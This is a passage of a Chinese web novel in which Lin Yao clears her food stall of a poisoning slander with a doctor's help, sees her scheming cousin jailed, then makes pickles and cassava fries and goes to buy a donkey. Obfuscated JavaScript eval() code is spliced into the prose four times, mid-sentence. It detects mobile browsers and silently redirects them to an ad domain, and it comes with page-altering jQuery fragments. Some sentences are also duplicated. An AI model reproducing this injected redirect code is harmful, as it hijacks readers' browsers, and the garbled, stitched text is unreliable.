李大娘从林家两兄妹来了，就一直站在林窈旁边，现在终于找到机会和她说句话，“林小娘子，你可真是遭大罪了！依我看，那个撒泼耍赖的无赖，指定是受了你大伯一家子的指使，跑来这儿污蔑你的！” 林窈心里暖暖的，她和李大娘相识不过短短半个月，这份毫无保留的信任，实在让她动容，“多谢大娘愿意相信我。” 李大娘满不在乎地摆了摆手，语气笃定：“这说的什么话！我活了大半辈子，这点看人识人的本事还是有的。你们三兄妹都是好孩子。” 林窈接着说道：“大娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146021|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还得麻烦您帮个小忙，劳烦您借我一张桌子和一把椅子，一会儿医师来了，好有个地方坐下来给大家看诊。” “嗐，就这点事儿，你拿去用便是，甭跟我客气。”李大娘爽快应下。 正说着，远处传来王小鱼扯着嗓子的呼喊声：“师父，我们把大夫请来了！” 众人循声望去，只见王小鱼和王山带着一位体态富态的大夫匆匆赶来。 陈千远抬眼，看到被人群围在中间的少女，认出她是前半个多月前来卖桂枝的娘子。一段时日不见，眼前的少女面色相较之前，倒是红润健康了许多。 林窈赶忙迎上前去，言辞恳切，“陈大夫，此前我一直在这码头摆摊卖吃食，今日，这位大哥说我做的食物致使他家中娘子小产。我敢对天起誓，我做的每一份吃食，都干净安全。还恳请您帮忙仔细检查一番，看看这些吃过我家东西的乡亲们身体状况到底怎样，也好还我一个清清白白。” 陈千远这下知道是怎么回事了，“无妨。” 林诚把要把脉的人都往桌边引，眨眼间，队伍就排得老长，还有人匆匆跑回家，招呼家人也来瞧瞧，生怕自家吃了林家吃食，中了毒却不自知。 陈千远不紧不慢地打开药箱，取出一块干净的布帕，放上脉枕，一个又一个人坐下又离开，陈千远并没有发现任何中毒的人。那些看完诊的人，听闻自己身体并无异样，都如释重负。 那汉子眼见形势不妙，想找机会溜走，但是林诚一直守着他，把他看得死死的。 一旁候诊的队伍逐渐变短，终于轮到了最后一个人。 陈千远一如既往，认真细致地为其检查完毕。随后，他挺直身子，抬手整了整身上的长衫，轻咳一声，清了清嗓子，面向众人，声音洪亮且沉稳地说道：“我已仔仔细细为在场所有吃过林小娘子家吃食的人检查过了。从他们的脉象，结合自述的身体状况来看，没有任何人出现中毒，或是因食物导致身体异常的情况。由此可见，林小娘子家的吃食，绝无任何问题！” 陈千远依旧认真细致地为其检查。结束后，他站起身来，理了理身上的长衫，面向众人，“我已仔仔细细为在场所有吃过林小娘子家吃食的人检查过了。从他们的脉象来看，没有任何人出现中毒的迹象。由此可见，林小娘子家的吃食，绝无任何问题！” 此言一出，人群一片哗然。 “我就说嘛，林家兄妹看着就不像会做坏事的人。” “是啊，这下可算是还了人家一个清白了。” 林窈心中的一块大石头终于落地，她上前一步，对着陈千远福了福身，“陈大夫，今日之恩，我们兄妹没齿难忘。若不是您，我们真不知该如何自证清白。” “不必多礼。”陈千远压低声音道，“只是我的出诊费可不便宜，今日连续为如此多人把脉，怕是要收个三十两，林小娘子，你们可拿得出这笔银子？” 窈一听，脸色瞬间有些窘迫，家中如今全部积蓄拢共也就五两银子，哪能凑出这许多，“我们可以写欠条，日后定会把陈大夫的出诊费如数还上。” 陈千远就知道这小娘子一家拿不出这么多银子，这倒是正合她意，“这也不是没有转圜的余地，今日这么多人都来看诊，足见小娘子平日里生意红火。我这人，别的爱好没有，就好一口吃的，日后这出诊费就当作是我的餐费，你看如何？” 林窈一听，这提议简直再好不过，忙不迭点头，“如此甚好，多谢陈大夫体谅，日后还请您多多光顾！” 诊费的事情解决了，接下来就是那个污蔑他们的人。 24. 苕皮 “陈大夫的诊断大家都听到了，我家食摊的吃食是绝对没有问题，至于这位大哥的娘子到底为何小产，怕是只有大哥自己清楚了。”林窈目光锐利。 “那…那可能是我家的臭婆娘自己乱吃了别的东西，怕我知晓胡诌的，我也是被她被骗了。”汉子色厉内荏地吼道，试图掩饰自己的心虚。 “我与兄长昨日才受了伤，你今日就上门来闹事，打的什么主意，当我们看不出来？无非是觉得我们重伤在身，无暇顾及码头的生意，便想趁机在这儿污蔑我们，好败坏我们的名声！”林窈柳眉倒竖，提高音量怒斥道，“走，见官去！今日你必须跟我们去见官，把这事说清楚！” 那汉子还想狡辩，林诚眼疾手快，一把抓起桌上的抹布，塞进他嘴里，反扭住他的双手，令他动弹不得。 人群中挤出一群身材高大的壮汉，为首的正是他们的熟客——吴镖头。吴镖头满脸愧色，走上前对着林窈和林诚抱拳致歉：“林小娘子，林小兄弟，今日实在是对不住，误会你们了。”他顿了顿，“都怪我们轻信这汉子的片面之词，以为真是你们家的吃食出了问题，是我们莽撞了。” 林窈微微福了福身，换了一礼，“吴镖头言重了，换做是谁遇到这般事，都会心生疑虑，这是人之常情，不必挂怀。” “林小娘子果真豁达大气！我和弟兄们愿随你走一趟官府，做个见证。顺便帮你押着这泼皮，省得他半道跑了！”吴镖头声如洪钟。他转身面向身后一众壮汉，大手一挥，“弟兄们，今日就陪着林小郎君和林小娘子去官府，给他们撑撑腰！” “好！”年轻的镖师们齐声应道，气势十足。林窈心中一暖，满是感激地看向吴镖头。 “走！”吴镖头大步上前，从林诚手中接过那闹事的汉子，像拎小鸡一般轻松。林窈和林诚紧跟其后，一行人浩浩荡荡朝着官府方向行进。 路上，那汉子试图挣扎，却被吴镖头死死制住，根本无法逃脱。刚刚看热闹的人也跟在后面，都想看看这事儿到底如何解决。 到了官府门口，林窈拿起鼓槌，击鼓鸣冤。没一会儿，县官便升堂问案。林窈等人整齐地跪在堂下，将事情的前因后果，一五一十地说了出来。 县官听后，眉头紧皱，“堂下之人，你可认罪？是谁指使你污蔑林家兄妹？从实招来，否则大刑伺候！” 那汉子本就心虚，被县官一吓，双腿筛糠般抖个不停，听闻要动刑，更是吓得魂飞魄散，当即竹筒倒豆子般交代起来：“大人，我……我也是受人指使啊。那日我娘子小产后，有个十七八岁模样的小郎君找到我，说只要我今日去码头闹事，就给我五百文钱。” “那人相貌如何？”县官追问道。 那汉子微微眯起眼，努力回忆，“回大人，那小郎君生得白胖，眼睛小小的，嘴边有一颗尾指大的痦子。” 林诚心中了然，果然又是大伯一家，“大人，此人是我大伯家的大儿子。昨日我小妹遇袭，恐怕也是他们所为。他如今在镇上醉仙人酒肆做学徒。” 县官立刻派捕快，带着林诚前往酒肆辨认。 酒肆内，林有福正拿着抹布，有一搭没一搭地擦着桌子。一抬眼，瞧见林诚领着捕快走进来，心中“咯噔”一下，昨日那蒙面人不是说事情办妥了，林诚这会儿不应该守着被砍伤手的妹子吗？怎么还有闲工夫报官？ 林有福一开始还抵死不认，直到到了衙门，看到跪在地上的汉子，这才惊觉自己被那蒙面人给骗了，心里把蒙面人翻来覆去骂了好几回。 林有福向来贪生怕死，县官还没来得及动用刑罚，他便吓得将事情的来龙去脉都交代了。 看热闹的人群里，有几个是槐花村的村民，消息立马就传开。林家大房听闻消息，匆匆赶来。得知林有福被判一个月大牢，还得赔偿林家兄妹医药费以及今日的看诊花销，胡氏一屁股坐在地上，撒起泼来，只是县令老爷可不吃她这一套，重重一拍惊堂木，“公堂之上岂容你肆意喧闹！再这般无理取闹，以扰乱公堂秩序论处！”这一声断喝，瞬间震住了胡氏，吓得她不敢再放肆，只能从地上爬起来，小声抽泣。 走出衙门，林窈和林诚紧绷的神经终于放松下来，不约而同地长舒了一口气。 “林小娘子，看来今日的诊金无需你们出了。”陈千远笑着说道。 林窈一听，便明白了他话里的意思，“今日若不是陈大夫出手，我兄妹二人怕是根本无法自证清白。虽说县令判了林家大房赔付今日的诊金，可那一家子向来无赖，这诊金短期内怕是难以到手。陈大夫，往后还请多多照应，常来我家摊位光顾，就当是抵了诊金啦。” “那敢情好！”陈千远本就对这几十两银子不太放在心上，毕竟对他而言，钱最后也大多花在买吃食上了。 告别陈千远后，林窈和林诚不敢耽搁，脚步匆匆地往家里赶，要是被林大伯和胡氏那两口子逮住，又要胡搅蛮缠半天，实在惹不起。 兄妹俩回到村里时，林崧已经在刘大壮家中用过饭了。 二人把林崧接回家，将米饭重新蒸热，就着白日里做的魔芋爽，简单对付了一顿，随后便各自回屋休息。林窈只觉得浑身疲惫不堪，身子刚一沾床，便沉沉睡去。 第二天，林窈是被屋外削魔芋的声响吵醒的。林诚今儿一早就上山挖了两趟魔芋，此刻正和阿鱼一道，在院子里专注地削着魔芋皮。 “阿兄，阿鱼，你们怎么不叫我起来？”林窈边打着哈欠，边伸了伸懒腰，从屋里走了出来。 林诚擦了擦手上的魔芋皮，“你身上还有伤，昨日又来回奔波，定是累极了，，多睡会儿能恢复得快些。” 王小鱼也跟着点头附和：“师父，这些活儿交给我们就行，您就踏踏实实地歇着。” 林窈不是能闲着的人，用过早饭后，便又开始琢磨起新吃食来。她目光扫到一旁随意堆放的红薯，脑海中瞬间闪过一道灵光，对呀，还能做苕皮！ 做苕皮，最关键的就是红薯淀粉。林窈当即吩咐王小鱼，把红薯外皮削净，切成小块，放入石磨之中。林诚开始推磨，随着石磨的转动，红薯被研磨成浆液，流入盆中。 日头开始慢慢升高，林诚热得满头大汗，林窈瞧在眼里，心里盘算着，还是得买头驴回来，这样一来，她和林诚都不用这么辛苦了，干活效率也能提高。 等盆里攒了满满一大盆红薯浆，林窈取来纱布，耐心指导王小鱼过滤红薯浆。王小鱼握住纱布，用力挤压，那浆汁便透过细密的纱布，一滴滴落入下方的盆中。没一会儿，就滤出了一大盆清透的浆水。 林窈说道。“成了，静置一晚，明日把表面的浊水倒掉，晒干就能用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153814|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”林窈看着盆里的浆水，满意地说道。 “这是要做什么？林诚满脸疑惑，忍不住开口问道。 “这磨出来的粉就是红薯淀粉，蒸熟后能做成粉条，还能做成一种叫苕皮的吃食！”林窈越说越兴奋，仿佛已经看到了酸辣粉和苕皮摆在眼前。 “何为苕皮？”王小鱼也满脸好奇，她从未听说过这种食物。 “苕皮与魔芋豆腐的模样有些许相像，往苕皮里加上咸菜和肉沫，搁铁板上煎熟，那味道好极了！”林窈一边说着，一边比划着。 林窈说干就干，决定今天就腌上三大坛咸菜，酸萝卜、辣白菜、酸豇豆，一样都不能少。 这些蔬菜在村里不少人种，林窈便让林诚去刘大壮家里采购一些。这段日子，他们兄妹三人能勉强活着，刘大壮夫妇帮了大忙。刘大壮每次上山打猎，都会带上林诚，林诚有时没打到猎物，刘大壮也会分些给他，梁嫂子更是时常给他们送菜。 刘大壮家。 刘大壮此时正在院子里收拾刚猎回来的野鸡，门外传来一阵敲门声。“来了！来了！”他赶忙放下手里的野鸡，快步走向门口。 打开门，瞧见林诚站在门外，刘大壮热情招呼他们进屋，“诚哥儿，快进来！有啥事？” “大壮哥，我想跟您买点白菜、萝卜和豇豆。”林诚赶忙说明来意。 “说什么买，这些菜家里多的是，跟我一块儿去后面菜地摘就行。”刘大壮满不在乎地摆摆手。 林诚连忙摆手拒绝，“那可不行，必须得买。这些年多亏了您和嫂子照应，我们兄妹仨和娘亲才能撑过来。如今我们能自己养活自己了，哪还能白拿您的菜呢。” “跟我还客气什么，你们几个孩子在码头挣钱多不容易，攒着钱留着自己花。”刘大壮依旧不肯收钱。 “大壮哥，真不行。这回要的量多，阿窈打算做成咸菜拿去卖。要是生意好，往后还得常从您这儿进货呢。您要是不收钱，我们也只能找别人买了。”林诚见刘大壮执意不收钱，只好这么说。 “你这孩子，行吧，跟我来。”刘大壮无奈，只好带着林诚来到自家菜地。 二人忙活了好一阵，摘了满满两大箩筐菜，有十斤白菜、八斤白萝卜、五斤豇豆。林诚按照白菜一文两斤、白萝卜一文一斤、豇豆两文一斤的价格，算好了菜钱，一共二十三文。 林诚正要把铜板数出来给刘大壮，刘家嫂子，梁氏，却从外面回来了。 林诚正仔细数着铜板，准备递给刘大壮，这时，刘大壮的妻子梁氏从外面回来了。她一眼瞧见两大箩筐菜，又看到林诚在数钱，瞬间明白了怎么回事，一巴掌呼上了刘大壮的后背，“你怎么还跟诚哥儿要钱呢，这些菜都是自家种着吃的，能值几个钱？” 林诚赶忙拦住梁氏，“嫂子，是我主动要跟大壮哥买这些菜的，想着拿回去做成咸菜到集市上卖。往后还得常麻烦大壮哥和嫂子供应蔬菜呢，要是大壮哥不收钱，我们实在过意不去，以后也只能去别处买菜了。嫂子，您就别推辞了。” 梁氏这才停下动作，“你这孩子，跟嫂子还这么见外。罢了罢了，既然你都这么说了，嫂子就收下了。日后这些菜，你们尽管来拿。” 林诚应了一声，提起菜篮，跟刘大壮夫妇道别后，便带着两大箩筐蔬菜回家去了。 25. 泡菜 “哇，好多菜！”林崧本来蹲在门口看地上的蚂蚁，冷不丁瞧见大哥林诚挑着两箩筐菜回来，目光瞬间就被吸引了过去。 林窈看到林诚拿着两大筐的菜时也是吓了一跳，没想到大哥一下子买了这么多菜。林窈这边，看到林诚扛着两大筐菜迈进家门，同样吓了一跳，没想到他一下买了这么多菜。 林诚留意到林窈的神情，生怕自己办砸了事，赶忙问道：“阿窈，是不是我买太多了？” “没事儿，越多越好，就怕我做的泡菜到时候不够卖呢。”林窈有点臭屁地仰起头。她这话不是单纯是为了安慰林诚。此前，她做过一期腌制泡菜的视频，她可是下足了功夫。那段时间，她四处搜罗，费尽心思找了十几种做泡菜的方子，泡辣白菜、豇豆、萝卜、木瓜……全都不在话下！那段时间，她睁眼闭眼全是泡菜。 林诚和王小鱼手脚麻利，把菜搬到灶房，把菜上的泥土洗净，一盆盆水灵灵的萝卜、白菜和豇豆整齐地摆放在案板边。 林窈说道。“阿兄，你把这些萝卜切成小块。阿鱼，你帮我把腌菜的坛子刷干净，我来调配腌料。”林窈有条不紊地分配着任务。 林诚和王小鱼点点头，转身便各自忙活开了，灶房里响起一阵有条不紊的忙碌声响。 林窈把调料分成了两份，一份辣，一份不辣，她依次往盆里加入盐、糖、醋、茱萸、花椒等调料。一切准备就绪，三人围聚在案板前，开始往坛子里装菜，一层菜，一层腌料，码得严严实实。 坛子里的菜慢慢堆得满满当当，林窈细心地封好坛口，“妥了，只需等这些咸菜入味，到时肯定能大卖！” 林诚和王小鱼瞧着林窈这般神采飞扬，好像昨日发生的污糟事一点儿也没有影响到她，他俩的心情也不自觉跟着轻松起来。 “阿兄，明日你和阿鱼去出摊吧。我把魔芋豆腐的料汁调好，明天再准备些葱花和香菜就行。卤猪下水也炖上了，炸蛋和红薯烙，就按我教你们的方法做。”林窈的手受伤，估计还得好几天才能自如活动，但她一心想着不能耽误挣钱，便安排林诚和王小鱼去摆摊，自己打算留在家里做红薯粉条和苕皮。她转而看向林崧，“崧儿，留在家里陪二姐做活，好不好呀？” “好！我是男子汉，要照顾二姐！”小家伙胸膛一挺，脆生生地应道。 等所有事情忙完，已接近申时。 王小鱼虽说每天都主动要来给林窈做饭，可女子夜间出行总归不太安全。林窈看天色不早了，便催她趁着天色还亮堂，赶紧回家。 忙碌了一整天，林窈累得腰酸背痛，一沾床就沉沉睡去。 次日，林窈悠悠转醒时，林诚早已出摊去了。林崧正趴在床边，摆弄着林诚给他编的蚂蚱。瞧见二姐醒了，小家伙眼睛一亮，一骨碌爬了上床，“二姐，你醒啦！” 林窈抬手轻轻揉了揉他的脑袋。这大半个月，家里伙食改善不少，小家伙的头发不再像初见时那般毛糙，摸起来顺滑多了。 林窈解决了早饭后，就去看昨天的红薯浆。 林窈吃过早饭，便去查看昨天沉淀的红薯浆。成功了！水盆面上浮着一层浊水，红薯淀粉已然全部沉淀到盆底。林窈小心地倒掉浊水，拉着林崧，两人使出浑身解数，将盆底沉淀的红薯淀粉碾碎。 她从屋里取出一张白布，平整地铺在竹簸箕上，再把碾碎的红薯淀粉均匀铺在簸箕里，说道：“就放在这儿，晒上一天就能用了。” “崧儿，想不想跟二姐上山去？”林窈捏了捏林崧头上的小啾啾，轻声询问。“好呀！上山去咯！”林崧一听，撒腿跑回屋里，翻出自己的小背篓。 林窈打算上山碰碰运气，看看还能不能挖什么名贵的草药，顺带也想带林崧出去透透气。这段时间，林崧一直跟着他们出摊，不是在摊位上帮忙，就是自己一个人玩，估计早就憋闷坏了。 两人锁好家门，朝着山林的方向走去。路上，林崧跑跑跳跳，一会儿摸摸路边的小花，一会儿又看看花丛中翩飞的蝴蝶。 很快，他们就来到了山林边缘。林窈深吸了一口气，感受着山林中清新的空气。在山里兜兜转转好一阵，林窈却连一株草药的影子都没瞧见，这也难怪，毕竟她大学主修营销传播，而不是中医药，但心里难免有些挫败，果然不是谁都能这么幸运，她还是老老实实摆摊吧。 林窈正想带着林崧下山，刚一转身，冷不防被一个凸起的土块绊了一下，身子猛地一晃，她赶忙稳住身形。低头一看，只见土块上几株熟悉的植物映入眼帘，竟是木薯！ 木薯，又叫木番薯，能蒸着吃，可口感粗糙、味道寡淡。但在林窈眼里，它却是个好东西。她现在脑子里全是木薯淀粉、木薯糖水，还有木薯薯条。一想到薯条，她顿时浑身充满干劲。穿越到这个世界大半个月了，她愣是没瞅见土豆的影子，估计土豆还没在这儿推广开来，真正的薯条暂时是吃不上了，但是木薯薯条她也不挑。 两人来到木薯植株旁，林窈蹲下身子，拿起锄头，小心地刨开木薯周围的泥土。林崧在一旁目不转睛地看着，有样学样，拿起小铁铲在旁边的泥土上戳来戳去。 “崧儿，得先把木薯周围的土松一松，然后再慢慢挖，这样才不会伤到根茎。”林窈一边挖着，一边耐心地给林崧讲解。林崧似懂非懂地点点头，手上的动作也跟着调整起来。 随着泥土一点点被刨开，木薯根茎逐渐显露出来。林窈见状，更加小心地用锄头清理着周围的泥土。林崧也好奇地凑了过来，眼睛睁得圆溜溜的，一眨不眨地盯着。 “哇，二姐，木薯露出来啦！”林崧兴奋得大喊起来，声音在山林间回荡。 “对呀，崧儿，咱们再加把劲，把它挖出来。”林窈笑着回应。 不多时，一个饱满硕大的木薯被完整地挖了出来。林崧满脸欢喜，双手紧紧握住木薯，用力从泥土中拔了出来，高高举起，那模样别提多神气了，小脸上还沾上了星星点点的泥巴，像一只在外面撒野的小花猫。 ”挖了许久，太阳越升越高，阳光透过枝叶的缝隙，洒下在土地上。两人的背篓里已经装满了木薯，林窈看着收获颇丰的背篓，又瞧了瞧满脸汗水、却依旧兴致勃勃的林崧，心想应该够用了，“好了，崧儿，咱们回家吧。” 林崧乖巧地背起小背篓，两人沿着来时的路，慢慢往山下走去。两人刚到家，恰好看见林诚正准备出门。 林诚一瞧见他们，立刻停下脚步，“你俩怎么自己上山去了？阿窈，你身子还没全好，大夫不是叮嘱你这几日不能劳累嘛。” “没事儿，大哥，我今天发现了木薯，没挖太多，不沉的。”林窈笑着宽慰道。 林诚接过林窈的背篓，疑惑地说道：“木薯？这玩意儿吃起来还不如红薯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163275|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林崧背着背篓跟在后面，听到这话，赶忙说道：“二姐说不蒸着吃，能做成超好吃的东西！” 林窈笑着点头，应和道：“是啊！一会儿就做给你们尝尝鲜！” 吃过午食，林窈便一头扎进灶房里，开始摆弄起木薯。她让林诚按照之前制作红薯粉的方法，把一部分木薯磨成浆，晒干后做成木薯粉。剩下的那部分，她打算用来做木薯薯条。 林窈和王小鱼把木薯搬到了案板前，“小鱼，你先把木薯的外皮削去，再切成粗块状。” 切好的木薯条被林窈放入清水中，这样做能去除木薯中的部分淀粉，让薯条口感更加清爽。洗净木薯后，林窈起锅烧水。不多时，水沸腾起来，她将木薯块放入锅中。待煮至绵软，用漏勺捞出，沥干水分，接着用擀面杖碾碎成细腻的木薯泥。 接下来，按照常规做法，应该加入玉米淀粉。可这时代哪有这东西，好在昨天刚做了红薯淀粉，可以代替玉米淀粉。 只是常见的木薯薯条配方里会添加胡椒粉和大蒜粉，可胡椒在当下可是稀罕物件。林窈记得，在明朝，胡椒甚至被当作俸禄发给各级官员，每斤胡椒的价值相当于十两到二十两银子，与官员的薪俸相当①。 胡椒粉是弄不到了，不过大蒜粉倒可以试着做做。 林窈往灶里添了一小把柴，让火苗欢快地跳跃起来。制作大蒜粉，首先得把大蒜切片烘干，眼下没烘干的条件，她只能用小火慢慢把大蒜炒干。 林诚依照林窈的要求，仔细地把大蒜切成薄片，装了满满两大碗。林窈先抓了一小把蒜片放入锅中，不一会儿，锅里渐渐散发出浓郁的蒜香味，蒜片也慢慢变得焦黄。她眼疾手快，迅速把蒜片铲出，放入钵中捣碎。水分蒸发后的蒜片变得十分干脆，轻轻一杵，就碎成了细细的粉末。 林窈按照这个方法，继续炒制、捣碎，没多久，就做好了一大碗大蒜粉。她往木薯糊糊里加入适量大蒜粉、红薯淀粉和盐，反复抓拌均匀。 林诚和王小鱼把木薯糊糊捏成一条条薯条形状，虽说模样有些歪歪扭扭，不太规整，但林窈已经满心期待起成品的味道了。 林窈在锅里倒入猪油，待油热后，她将木薯薯条一根根轻轻放入锅中。木薯条的下锅，锅里的油瞬间热闹了起来，滋滋作响，白色的薯条在油锅里逐渐变得金黄，一阵阵香气传了出来。 林崧闻到香味，忍不住跑了过来，站在一旁眼巴巴地看着，“二姐，好香啊！” 没过一会儿，薯条被炸得金黄酥脆。林窈用漏勺将它们捞出，沥干油分，盛放在盘子里。 他们三人都吃过木薯，可这般新奇的吃法，还是头一回见。刚刚那扑鼻的香气，让他们都不敢相信这是用木薯做出来的吃食，心里都好奇得紧。 “快来尝尝！”林窈把木薯薯条端到桌子上。 他一边嚼着，一边被烫得直哈气。林崧第一个冲上前，小手迫不及待地抓起一根薯条，塞进嘴里，“哇，好香，好脆呀！”新鲜出锅的薯条烫得他直往外哈气，却舍不得放下。 小鱼也凑了过来，拿起一根薯条，轻轻吹了吹，咬了一小口，“木薯竟还能做出这样的味道！” 林诚也点头称赞，“阿窈，这薯条口感很是特别，外酥里嫩。咱们可以多做些，拿到集市上去卖！” 林窈对林诚这个提议很是满意，他终于也有了些赚钱的触觉。 26. 薯条 “娘子的伤可好些了？”李大娘接过林窈刚递来的薯条，关切问道。 林窈点了点头，“好多了，只要不提重物便无大碍。在家闲坐也是无聊，索性就出来了。” “娘子还是得多加小心，要是留下了病根儿，老了可就难受了。”说着，李大娘咬了一口薯条，独特的口感和味道让她不由得睁大了双眼，“这是何物，我从未尝过这般滋味，香脆可口，实在特别！” 林窈心中暗喜，果然无人能抵挡薯条的魅力。要是有土豆就好了，这样就能做出正宗薯条。她笑着回应：“这是薯条，偶然捣鼓出来的。” 李大娘听闻又是林窈的新创，愈发觉得这姑娘聪慧过人，越看越是喜欢，要是自家也有个这般伶俐闺女该多好，哪像自家那臭小子。“你这脑袋瓜，怎就如此灵光，真叫人羡慕。” 林窈听了夸赞，面上谦虚地浅笑，心底却满是得意，尾巴都快翘到天上去了。“大娘过奖了，我不过是瞎琢磨罢了。” 许之珩到时，恰好瞧见林窈眼中得意几欲溢出，却还故作谦逊的模样。 林窈早就就看到了许之珩，原因无他，只因为这人今天穿了身大红色的长袍，不过不得不说，比起之前的浅色，他更适合这种大开大合的颜色，衬得他气宇轩昂，她热情地招呼道：“许公子！今日吃点什么？” “来的路上听闻林小娘子又上新小食，就尝尝这个吧。”许之珩回道。 “好嘞，马上就好。”林窈转身去炸薯条。 许之珩在粥铺落座，点了两碗鱼粥。刚喝了两口，林窈便将薯条端来。“这便是薯条？”许之珩看着盘中金黄的条状物问道。 “正是，公子不妨尝尝，若不合口味，我再为您做别的。”林窈说道。 许之珩夹起一根薯条放入口中，酥脆口感瞬间在齿间散开。若说先前他只觉林窈有些厨艺天分，此刻他觉得林窈简直是天才。 林窈将他的反应尽收眼底，心中暗笑，又是一个被薯条征服的人。 “好吃好吃！林小娘子做的吃食真是顶顶好吃！”许之珩还未开口，旁边的金玉已抢先赞叹。 林窈失笑，“多谢金玉小哥夸赞。” 小摊前买薯条的人越来越多，林窈与许之珩简单寒暄几句，便赶忙回到摊位忙碌。 “郎君，今日吴大人他们应是要启程回京了。”金玉低声说道。 许之珩微微点头，“过了今日，行事就会便宜许多。” 码头船上。 “吴大人，这些日子，我瞧这许二郎不是在码头上买吃食，就是去胭脂楼看戏消遣，不过是个顽劣子弟罢了。”赵礼轻抚胡须说道。 “赵大人所言极是，许二郎在京城的行事作风早已众人皆知，这次怕是老夫多虑了。”吴申望着码头上热闹的小摊，缓缓说道。 这边，林窈忙得脚不沾地，薯条的受欢迎程度远超她的预期。薯条定价不低，木薯薯条原料虽便宜，可制作工序繁杂，耗费大量时间与人力，因此她不打算走低价路线。她将薯条分成大、中、小三种分量售卖，大份八文钱，中份六文钱，小份两文钱。木薯在山里随处可见，家境尚可的人家都瞧不上，所以即便小份薯条卖两文钱，也不算便宜。可即便如此，不到一个时辰，薯条便被抢购一空。 今日加上薯条，一共赚了三百八十文。林窈看着桌上的铜板，又看向林诚，“阿兄，咱们去买头驴吧。”林诚一时没反应过来，驴这等牲畜，村里只有里正家有一头，听说花了三两银子购置，可不是一笔小数目。“阿窈，买驴做甚？这可不是小数目。” 林窈耐心解释：“阿兄，咱们如今做的吃食越来越多，每次去码头，阿兄挑着担子多费力。若有了驴，既能帮咱们驮运东西，又能节省不少力气与时间。再说，若是往后要是去远些地方采购食材，有驴也方便许多。” “阿兄有的是力气！”林诚说道。 “不止如此，日后咱们还要做魔芋爽、红薯粉、木薯粉，这些都需用石磨研磨。若有一头驴，阿兄便能腾出手帮忙做别的吃食，如此咱们才能赚更多钱。”林窈稍作停顿，继续道，“再说了，驴不用付工钱，多划算。”林诚思索一番，觉得妹妹所言有理，便不再阻拦。 “阿兄，你去灶房装一碗卤猪下水，咱们去大壮哥家。”林窈说道。林窈从未接触过毛驴，林诚和林崧更是只远远看过几次，所以得找个懂行、会看牲口品相的人帮忙挑选。兄妹三人带着铜板和一大碗卤猪下水出了门。 刘大壮家。 刘大壮正坐在院子里，手里拿着一把小刀在修理竹箭。瞧见林窈兄妹三人来了，他招了招手，“诚哥儿、阿窈，崧儿，你们怎么来了？” 林窈笑着走上前，“大壮哥，今日有事想麻烦您搭把手。”说着，示意林诚把那碗卤猪下水递过去。 刘大壮连忙摆手，“使不得使不得，你这孩子，说什么麻烦不麻烦的，乡里乡亲的，有什么事尽管开口。” 林诚自顾自地把装着卤猪下水的碗放在桌上，“大壮哥，您就别推拒了，今儿个是有正事求您，我们想买头毛驴，可不懂看毛驴品相，想请您帮忙瞅瞅。镇上的牲口牙子收费可不低，我们兄妹三人只能来麻烦您了。” 刘大壮一听，心中诧异，林家兄妹这吃食生意竟如此红火，才做了一个月，就买得起毛驴了。他看着眼前的三个孩子，不久前几个小家伙还饿得面黄肌瘦，今日瞧着脸色确实红润许多，看来日子是越过越好了。“那行，哥也不跟你们客气，我收拾收拾，咱一道出门。” 来到牲□□易市场，各种牲畜的叫声交织一片。驴、马、牛等牲口被拴在不同围栏里，周围围着不少挑选的人。刘大壮走在前面，林窈、林诚和林崧紧紧跟随。 “买驴，先得看毛色。毛色光亮顺滑，说明这驴身体康健，没啥毛病。”刘大壮一边走一边给林窈兄妹讲解，“再就是看牙齿，牙齿整齐、无缺损的，年龄一般不大，干活有力气。” 正说着，刘大壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163276|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然停下了脚步，指着一头毛驴说道：“你们看那头，毛色黑亮，毛发也顺，体型看着也壮实，应当是不错的。”林窈顺着刘大壮指的方向看去，只见那头毛驴正安静地站在围栏里，时不时地甩甩尾巴。它的毛色乌黑发亮，眼睛明亮有神。 